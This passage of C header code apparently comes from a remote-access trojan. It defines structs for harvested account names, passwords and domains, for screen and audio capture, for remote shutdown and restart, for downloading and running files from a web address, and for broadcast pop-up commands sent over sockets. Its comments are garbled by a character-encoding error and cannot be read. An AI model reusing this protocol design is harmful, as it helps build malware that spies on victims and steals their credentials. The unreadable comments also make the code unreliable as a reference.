Data[SCREEN_BUF_SIZE]; //ÉÏÃæµÄ½á¹¹Ìå´óСÊÇ64 + 4030 = 4094 < 4 * 1024 }BMPDATA_S; typedef struct tagREADPSWDATA //ÖØÒªµÄϵͳÕʺźÍÃÜÂë { wchar_t szUserName[250]; //ÕʺŠwchar_t szUserPwd[250]; //ÃÜÂë wchar_t szDomain[250]; //Óò wchar_t szErrorMsg[50]; //´íÎóÐÅÏ¢ }READPSWDATA_S; typedef struct tagVIDEODATA //ÊÓÆÁÊý¾Ý { BITMAPINFO bmpinfo; //λͼÐÅÏ¢ int Id; bool bShow; //ÊÇ·ñ¿ÉÒÔÏÔʾͼÏñ DWORD Size; //Êý¾Ý´óС int HeadSize; //ÊÓÆÁÍ·Êý¾Ý UINT Begin; //µÚ¼¸´Î·¢ËÍ int dwExtend1; //ѹËõÇ°³¤¶È int dwExtend2; //ѹËõºó³¤¶È BYTE Data[VIDEO_BUF_SIZE]; //ÉÏÃæµÄ½á¹¹Ìå´óСÊÇ74 + 4020 = 4094 < 4 * 1024 }VIDEODATA_S; typedef struct tagVIDEOTEMP { DWORD cThis; SOCKET l_Socket; }VIDEOTEMP_S; typedef struct tagOPERATOR //¹Ø»ú/×¢Ïú/ÖØÆô { int nType; //ÀàÐÍ£¨0--±íʾ¹Ø»ú£¬ 1--±íʾעÏú£¬ 2--±íʾÖØÆô£© }OPERATOR_S; typedef struct tagAUDIODATA //ÓïÒôÊý¾Ý { int Id; bool bRead; //ÊÇ·ñ½ÓÊÜÍêÊý¾Ý DWORD dwSize; //Êý¾Ý´óС UINT Begin; //µÚ¼¸´Î·¢ËÍ BYTE Data[AUDIO_BUF_SIZE]; //Êý¾Ý }AUDIODATA_S; typedef struct tagINTERNET //ÍøÒ³ { bool bDownLoad; //ÊÇ·ñÏÂÔØÎļþ bool bRunExe; //ÊÇ·ñÔËÐÐÏÂÔØÎļþ wchar_t szWebSite[MAX_PATH]; //ÍøÒ³µÄ·¾¶ }INTERNET_S; typedef struct tagWNDINFO //µ¯´°ÐÅÏ¢ { wchar_t szTitle[MAX_PATH]; //±êÌâ wchar_t szContent[MAX_PATH]; //ÄÚÈÝ UINT nType; //ÀàÐÍ }WNDINFO_S; typedef struct tagBROADCAST //¹ã²¥ÃüÁî { bool bTag; //±êÖ¾ INTERNET_S tagInternet; WNDINFO_S tagWndInfo; }BROADCAST_S; typedef struct tagBROADTEMP //ÁÙʱ½á¹¹Ìå { DWORD cWorkMain; BROADCAST_S* pTagBroadCast; < |